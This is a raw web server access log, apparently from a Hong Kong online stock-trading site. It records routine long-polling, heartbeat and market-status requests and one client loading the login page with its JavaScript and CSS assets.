[09/Jan/2026:15:34:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944329310 HTTP/1.1" -
[09/Jan/2026:15:34:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944332329 HTTP/1.1" -
[09/Jan/2026:15:34:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944334596 HTTP/1.1" -
[09/Jan/2026:15:34:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:34:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944337358 HTTP/1.1" -
[09/Jan/2026:15:34:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944339733 HTTP/1.1" -
[09/Jan/2026:15:34:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944342376 HTTP/1.1" -
[09/Jan/2026:15:34:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944344832 HTTP/1.1" -
[09/Jan/2026:15:34:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:34:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944347405 HTTP/1.1" -
[09/Jan/2026:15:34:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944349897 HTTP/1.1" -
[09/Jan/2026:15:34:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944352424 HTTP/1.1" -
[09/Jan/2026:15:34:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944355029 HTTP/1.1" -
[09/Jan/2026:15:34:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944357463 HTTP/1.1" -
[09/Jan/2026:15:34:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944360176 HTTP/1.1" -
[09/Jan/2026:15:34:52 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:15:34:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944362505 HTTP/1.1" -
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:15:34:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767944365034 HTTP/1.1" 3188
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
